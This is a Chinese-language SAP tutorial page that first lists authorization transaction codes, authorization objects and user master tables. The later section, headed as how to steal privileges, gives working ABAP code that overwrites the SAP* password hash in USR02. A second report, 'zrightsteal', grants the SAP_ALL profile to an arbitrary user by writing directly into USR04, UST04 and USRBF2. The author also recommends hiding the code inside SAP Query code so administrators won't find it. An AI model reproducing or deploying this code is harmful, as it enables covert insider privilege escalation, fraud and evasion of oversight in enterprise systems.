几个关于SAP权限的常用T-CODE

来源: 互联网TAG标签: sap系统 作者:SAP中文学习网 点击:

(一)Role(角色)相关T-code:

PFAC 标准

PFAC_CHG 改变

PFAC_DEL 删除

PFAC_DIS 显示

PFAC_INS 新建

PFAC_STR

PFCG 创建

ROLE_CMP 比较

SUPC 批量建立角色profile

SWUJ 测试

SU03 检测authorzation data

SU25, SU26 检查updated profile

(二)建立用户相关T-code:

SU0 

SU01 

SU01D 

SU01_NAV 

SU05 

SU50, Su51, SU52 

SU1 

SU10 批量

SU12 批量

SUCOMP:维护用户公司地址

SU2 change用户参数

SUIM 用户信息系统

用户组

SUGR:维护 

SUGRD:显示

SUGRD_NAV:还是维护

SUGR_NAV:还是显示

(三)关于profile&Authoraztion Data

SU02:直接创建profile不用role
SU20:细分Authorization Fields

SU21(SU03):****维护Authorization Objects(TOBJ,USR12).
对于凭证你可细分到:
F_BKPF_BED: Accounting Document: Account Authorization for Customers
F_BKPF_BEK: Accounting Document: Account Authorization for Vendors
F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts
F_BKPF_BLA: Accounting Document: Authorization for Document Types
F_BKPF_BUK: Accounting Document: Authorization for Company Codes
F_BKPF_BUP: Accounting Document: Authorization for Posting Periods
F_BKPF_GSB: Accounting Document: Authorization for Business Areas
F_BKPF_KOA: Accounting Document: Authorization for Account Types
F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy
然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.

对具体transaction code细分: 
SU22,SU24 
SU53:*** 就是你出错用来检查没有那些authoraztion objects.
SU56:分析authoraztion data buffers.
SU87:用来检查用户改变产生的history
SU96,SU97,SU98,SU99:干啥的?
SUPC:批量产生role

DB和logical层:

SUKRI:Transaction Combinations Critical for Security
tables:
TOBJ : All avaiable authorzation objects.(全在此)
USR12: 用户级authoraztion值
-----------------------------
USR01:主数据

USR02:密码在此

USR04:授权在此

USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:当前用户
USREFUS:
USRBF2
USRBF3
UST04:User Profile在此
UST10C: Composite profiles
UST10S: Single profiles (角色对应的
UST12 : Authorizations..............................

如何窃取权限

..............................


用户:
User type用户类型(干啥用的不讲):
通常的用户类型有
a.dialog (就是normal user)
b.communication
c.system
d.service
e.reference.

通常你在使用任何T-code前一定会有权限检测的.
AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.
**如果coding只要使用此函数就够了.
AUTHORITY_CHECK_TCODE:检查T-code

这倆函数是真正检查autorization objects的.
SUSR_USER_AUTH_FOR_OBJ_GET:
AUTHORIZATION_DATA_READ_SELOBJ:
------------------------------------------
SAP*的密码改成123的程序,很简单.
我们找到那个user logon表USR02.
(DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)
report zmodSAP*.
data zUSR02 like USR02 .
select single * into zUSR02 from USR02 
where BNAME = 'SAP*'.
zUSR02-Bcode = 'DF52478E6FF90EEB' . 
Update USR02 from zUSR02 .

现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个
query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...

这样做太狠毒了.还是自己偷偷搞自己的用户吧.
在此你必须对权限结构非常清晰.
权限和三个表有关系.
a.USR04
b.USR04
c.USRBF2 这个表是对应到所用的authorzization objects的.
*&---------------------------------------------------------------------*
*& Report : Steal SAP ALL Right *
*& Creation Date : 2004.04.01 *
*& Created by : Stone.Fu *
*& Description : 可窃取SAP ALL权限 *
*& Modified Date : 2005.11.02
*& Description : 将此code hide在report painter or query code *
*&---------------------------------------------------------------------*

report zrightsteal.
data zUSR04 like USR04 . "????????work area??
data zUST04 like USR04 .
data zPROFS like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
"USRBF2?????internal table
** Update Authorization table USR04.
select single * into zUSR04 from USR04
where BNAME = 'ZABC2'. "SAP All 权限
move 'C SAP_ALL' to zPROFS .
ZUSR04-NRPRO = '14'.
zUSR04-PROFS = zPROFS.
Update USR04 from zUSR04 .

**Update User authorization masters table UST04 .
select single * into zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE = 'SAP_ALL'. "SAP all 权限
Update UST04 from zUST04 .

*?????insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME = 'ZABC2'.
*ZUST04-PROFILE = 'SAP_ALL'.
*Insert UST04 from ZUST04 .

select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

自己建立一个ztest用户不给它任何权限然后在test machine上run 报表zrightsteal.

然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP code太容易被人发现.
